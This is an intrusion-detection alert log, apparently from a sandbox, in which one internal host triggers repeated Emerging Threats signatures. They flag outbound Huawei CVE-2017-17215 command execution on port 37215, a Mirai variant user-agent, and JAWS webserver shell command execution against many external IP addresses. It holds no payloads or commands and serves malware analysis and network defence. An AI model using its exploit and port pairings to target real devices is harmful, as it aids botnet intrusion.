2024-12-03T22:12:45.643628+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54950	197.175.152.231	37215	TCP
2024-12-03T22:12:45.643721+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36336	197.83.64.210	37215	TCP
2024-12-03T22:12:45.643931+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59886	41.176.205.103	37215	TCP
2024-12-03T22:12:45.650072+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56718	156.94.29.32	37215	TCP
2024-12-03T22:12:45.650187+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54846	156.157.223.34	37215	TCP
2024-12-03T22:12:45.659329+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48088	41.111.121.150	37215	TCP
2024-12-03T22:12:45.665689+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53936	156.221.70.252	37215	TCP
2024-12-03T22:12:45.665744+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54816	41.142.109.79	37215	TCP
2024-12-03T22:12:45.665884+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56652	156.182.49.30	37215	TCP
2024-12-03T22:12:45.674929+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43872	156.44.150.239	37215	TCP
2024-12-03T22:12:45.675086+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56630	197.108.196.102	37215	TCP
2024-12-03T22:12:45.675258+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35916	41.147.64.66	37215	TCP
2024-12-03T22:12:45.706288+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46778	156.19.49.144	37215	TCP
2024-12-03T22:12:45.706516+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54376	156.39.246.66	37215	TCP
2024-12-03T22:12:45.706522+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47386	156.192.137.184	37215	TCP
2024-12-03T22:12:45.721897+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56154	41.205.180.14	37215	TCP
2024-12-03T22:12:45.796113+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52836	156.58.204.223	37215	TCP
2024-12-03T22:12:45.900144+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56478	156.44.133.246	37215	TCP
2024-12-03T22:12:45.909606+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49904	197.113.100.213	37215	TCP
2024-12-03T22:12:45.956285+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49668	41.38.242.18	37215	TCP
2024-12-03T22:12:45.956451+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54176	156.188.164.216	37215	TCP
2024-12-03T22:12:45.972023+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50430	41.194.16.180	37215	TCP
2024-12-03T22:12:46.178106+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53754	41.219.1.53	37215	TCP
2024-12-03T22:12:46.431484+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36778	191.65.98.219	80	TCP
2024-12-03T22:12:46.431484+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36778	191.65.98.219	80	TCP
2024-12-03T22:12:46.440473+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51560	27.176.245.225	80	TCP
2024-12-03T22:12:46.440473+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51560	27.176.245.225	80	TCP
2024-12-03T22:12:46.509451+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59236	46.44.15.221	80	TCP
2024-12-03T22:12:46.509451+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59236	46.44.15.221	80	TCP
2024-12-03T22:12:46.540668+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35950	160.68.48.149	80	TCP
2024-12-03T22:12:46.540668+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35950	160.68.48.149	80	TCP
2024-12-03T22:12:46.540784+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39922	160.100.97.86	80	TCP
2024-12-03T22:12:46.540784+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39922	160.100.97.86	80	TCP
2024-12-03T22:12:46.556492+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50690	84.108.131.46	80	TCP
2024-12-03T22:12:46.556492+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50690	84.108.131.46	80	TCP
2024-12-03T22:12:46.556750+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48768	162.133.81.132	80	TCP
2024-12-03T22:12:46.556750+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48768	162.133.81.132	80	TCP
2024-12-03T22:12:46.565363+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59206	176.132.228.133	80	TCP
2024-12-03T22:12:46.565363+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59206	176.132.228.133	80	TCP
2024-12-03T22:12:46.565473+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43112	143.119.92.59	80	TCP
2024-12-03T22:12:46.565473+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43112	143.119.92.59	80	TCP
2024-12-03T22:12:46.588027+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54748	49.214.70.247	80	TCP
2024-12-03T22:12:46.588027+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54748	49.214.70.247	80	TCP
2024-12-03T22:12:46.588068+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39326	148.189.217.37	80	TCP
2024-12-03T22:12:46.588068+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39326	148.189.217.37	80	TCP
2024-12-03T22:12:46.596910+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57574	71.182.198.75	80	TCP
2024-12-03T22:12:46.596910+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57574	71.182.198.75	80	TCP
2024-12-03T22:12:46.618806+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57062	85.115.53.211	80	TCP
2024-12-03T22:12:46.618806+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57062	85.115.53.211	80	TCP
2024-12-03T22:12:46.842328+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41616	87.255.12.42	80	TCP
2024-12-03T22:12:46.842328+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41616	87.255.12.42	80	TCP
2024-12-03T22:12:46.971760+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55666	156.10.134.43	37215	TCP
2024-12-03T22:12:47.009470+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50772	41.188.107.206	37215	TCP
2024-12-03T22:12:47.009550+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42460	197.39.238.243	37215	TCP
2024-12-03T22:12:47.049933+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42208	197.131.0.155	37215	TCP
2024-12-03T22:12:47.049998+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52836	197.100.138.197	37215	TCP
2024-12-03T22:12:47.050147+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39356	41.10.239.83	37215	TCP
2024-12-03T22:12:47.056437+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45464	197.94.186.99	37215	TCP
2024-12-03T22:12:47.056569+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59114	197.64.14.41	37215	TCP
2024-12-03T22:12:47.072082+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36244	41.26.136.199	37215	TCP
2024-12-03T22:12:47.087701+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51232	197.24.48.93	37215	TCP
2024-12-03T22:12:47.128684+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52162	197.213.197.7	37215	TCP
2024-12-03T22:12:47.143722+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35934	41.128.28.190	37215	TCP
2024-12-03T22:12:47.143727+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52162	156.140.253.75	37215	TCP
2024-12-03T22:12:47.416134+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60770	192.85.49.118	80	TCP
2024-12-03T22:12:47.416134+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60770	192.85.49.118	80	TCP
2024-12-03T22:12:47.416137+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37512	79.57.132.144	80	TCP
2024-12-03T22:12:47.416137+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37512	79.57.132.144	80	TCP
2024-12-03T22:12:47.431586+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55022	190.176.188.94	80	TCP
2024-12-03T22:12:47.431586+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55022	190.176.188.94	80	TCP
2024-12-03T22:12:47.440475+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39452	126.128.44.215	80	TCP
2024-12-03T22:12:47.440475+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39452	126.128.44.215	80	TCP
2024-12-03T22:12:47.446823+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50052	149.142.56.175	80	TCP
2024-12-03T22:12:47.446823+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50052	149.142.56.175	80	TCP
2024-12-03T22:12:47.447031+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41796	66.44.66.12	80	TCP
2024-12-03T22:12:47.447031+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41796	66.44.66.12	80	TCP
2024-12-03T22:12:47.447098+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37288	88.140.29.25	80	TCP
2024-12-03T22:12:47.447098+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37288	88.140.29.25	80	TCP
2024-12-03T22:12:47.447188+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33630	156.188.158.32	80	TCP
2024-12-03T22:12:47.447188+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33630	156.188.158.32	80	TCP
2024-12-03T22:12:47.447333+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52980	128.64.246.51	80	TCP
2024-12-03T22:12:47.447333+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52980	128.64.246.51	80	TCP
2024-12-03T22:12:47.456131+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49800	82.241.105.30	80	TCP
2024-12-03T22:12:47.456131+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49800	82.241.105.30	80	TCP
2024-12-03T22:12:47.456305+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60710	106.111.142.11	80	TCP
2024-12-03T22:12:47.456305+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60710	106.111.142.11	80	TCP
2024-12-03T22:12:47.462446+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47340	70.76.25.73	80	TCP
2024-12-03T22:12:47.462446+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47340	70.76.25.73	80	TCP
2024-12-03T22:12:47.462564+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41048	223.119.120.100	80	TCP
2024-12-03T22:12:47.462564+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41048	223.119.120.100	80	TCP
2024-12-03T22:12:47.462662+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59468	182.197.11.78	80	TCP
2024-12-03T22:12:47.462662+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59468	182.197.11.78	80	TCP
2024-12-03T22:12:47.471754+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34472	166.83.200.117	80	TCP
2024-12-03T22:12:47.471754+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34472	166.83.200.117	80	TCP
2024-12-03T22:12:47.471928+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45160	206.181.200.130	80	TCP
2024-12-03T22:12:47.471928+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45160	206.181.200.130	80	TCP
2024-12-03T22:12:47.472229+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60398	154.40.152.17	80	TCP
2024-12-03T22:12:47.472229+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60398	154.40.152.17	80	TCP
2024-12-03T22:12:47.472308+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38970	87.173.94.225	80	TCP
2024-12-03T22:12:47.472308+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38970	87.173.94.225	80	TCP
2024-12-03T22:12:47.472426+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34672	140.175.254.78	80	TCP
2024-12-03T22:12:47.472426+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34672	140.175.254.78	80	TCP
2024-12-03T22:12:47.487647+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47032	131.15.187.187	80	TCP
2024-12-03T22:12:47.487647+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47032	131.15.187.187	80	TCP
2024-12-03T22:12:47.487941+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41974	210.87.65.77	80	TCP
2024-12-03T22:12:47.487941+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41974	210.87.65.77	80	TCP
2024-12-03T22:12:47.509523+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35830	51.19.245.139	80	TCP
2024-12-03T22:12:47.509523+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35830	51.19.245.139	80	TCP
2024-12-03T22:12:47.525078+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50744	116.207.47.214	80	TCP
2024-12-03T22:12:47.525078+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50744	116.207.47.214	80	TCP
2024-12-03T22:12:47.549938+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46092	126.237.133.219	80	TCP
2024-12-03T22:12:47.549938+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46092	126.237.133.219	80	TCP
2024-12-03T22:12:47.565614+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53584	137.211.124.55	80	TCP
2024-12-03T22:12:47.565614+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53584	137.211.124.55	80	TCP
2024-12-03T22:12:47.565719+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47046	68.243.174.192	80	TCP
2024-12-03T22:12:47.565719+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47046	68.243.174.192	80	TCP
2024-12-03T22:12:47.565868+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51658	139.200.212.55	80	TCP
2024-12-03T22:12:47.565868+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51658	139.200.212.55	80	TCP
2024-12-03T22:12:47.566084+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43732	175.254.212.43	80	TCP
2024-12-03T22:12:47.566084+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43732	175.254.212.43	80	TCP
2024-12-03T22:12:47.571941+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54110	169.136.54.79	80	TCP
2024-12-03T22:12:47.571941+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54110	169.136.54.79	80	TCP
2024-12-03T22:12:47.572076+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55452	148.243.214.158	80	TCP
2024-12-03T22:12:47.572076+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55452	148.243.214.158	80	TCP
2024-12-03T22:12:47.572265+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49518	79.47.191.135	80	TCP
2024-12-03T22:12:47.572265+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49518	79.47.191.135	80	TCP
2024-12-03T22:12:47.581170+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41364	161.122.65.38	80	TCP
2024-12-03T22:12:47.581170+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41364	161.122.65.38	80	TCP
2024-12-03T22:12:47.581352+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47268	120.205.233.19	80	TCP
2024-12-03T22:12:47.581352+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47268	120.205.233.19	80	TCP
2024-12-03T22:12:47.588475+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51562	63.162.9.194	80	TCP
2024-12-03T22:12:47.588475+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51562	63.162.9.194	80	TCP
2024-12-03T22:12:47.596838+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49620	178.86.85.111	80	TCP
2024-12-03T22:12:47.596838+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49620	178.86.85.111	80	TCP
2024-12-03T22:12:47.596937+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48142	140.127.167.61	80	TCP
2024-12-03T22:12:47.596937+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48142	140.127.167.61	80	TCP
2024-12-03T22:12:47.597122+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55060	169.228.101.63	80	TCP
2024-12-03T22:12:47.597122+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55060	169.228.101.63	80	TCP
2024-12-03T22:12:47.628314+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50452	50.228.20.58	80	TCP
2024-12-03T22:12:47.628314+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50452	50.228.20.58	80	TCP
2024-12-03T22:12:47.643736+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46058	84.47.107.48	80	TCP
2024-12-03T22:12:47.643736+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46058	84.47.107.48	80	TCP
2024-12-03T22:12:47.775758+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56634	156.197.44.167	37215	TCP
2024-12-03T22:12:47.799428+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48820	156.14.132.61	37215	TCP
2024-12-03T22:12:47.799462+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54636	156.69.165.50	37215	TCP
2024-12-03T22:12:47.799568+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43004	156.131.234.29	37215	TCP
2024-12-03T22:12:47.801973+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47172	156.187.62.255	37215	TCP
2024-12-03T22:12:47.806259+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38472	156.199.250.79	37215	TCP
2024-12-03T22:12:47.815475+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40870	197.121.136.103	37215	TCP
2024-12-03T22:12:47.831331+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36454	41.141.246.69	37215	TCP
2024-12-03T22:12:48.065630+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35378	197.117.206.144	37215	TCP
2024-12-03T22:12:48.065743+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49582	156.187.196.221	37215	TCP
2024-12-03T22:12:48.065835+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33390	156.92.241.216	37215	TCP
2024-12-03T22:12:48.065979+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50088	41.9.82.245	37215	TCP
2024-12-03T22:12:48.066003+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35668	197.54.209.71	37215	TCP
2024-12-03T22:12:48.071921+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55588	156.55.150.36	37215	TCP
2024-12-03T22:12:48.072106+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42130	156.14.132.131	37215	TCP
2024-12-03T22:12:48.112528+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33542	197.206.136.129	37215	TCP
2024-12-03T22:12:48.112609+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36698	156.22.79.108	37215	TCP
2024-12-03T22:12:48.128113+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45540	197.196.209.16	37215	TCP
2024-12-03T22:12:48.628107+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44274	139.185.174.153	80	TCP
2024-12-03T22:12:48.628107+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44274	139.185.174.153	80	TCP
2024-12-03T22:12:49.306439+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56298	41.127.71.189	37215	TCP
2024-12-03T22:12:49.322033+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49670	41.196.1.103	37215	TCP
2024-12-03T22:12:49.322139+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51176	197.134.99.207	37215	TCP
2024-12-03T22:12:49.322260+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37556	156.144.4.224	37215	TCP
2024-12-03T22:12:49.322356+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33100	156.155.250.24	37215	TCP
2024-12-03T22:12:49.331348+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46478	197.83.135.217	37215	TCP
2024-12-03T22:12:49.331534+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49784	156.33.94.81	37215	TCP
2024-12-03T22:12:49.337689+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49654	41.9.21.203	37215	TCP
2024-12-03T22:12:49.337762+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57200	41.151.63.94	37215	TCP
2024-12-03T22:12:49.362407+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34034	41.238.65.254	37215	TCP
2024-12-03T22:12:49.362537+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36008	156.97.234.220	37215	TCP
2024-12-03T22:12:49.556430+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37206	178.98.170.57	80	TCP
2024-12-03T22:12:49.556430+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37206	178.98.170.57	80	TCP
2024-12-03T22:12:49.556442+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59306	158.122.213.59	80	TCP
2024-12-03T22:12:49.556442+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59306	158.122.213.59	80	TCP
2024-12-03T22:12:49.565768+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33500	157.138.43.223	80	TCP
2024-12-03T22:12:49.565768+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33500	157.138.43.223	80	TCP
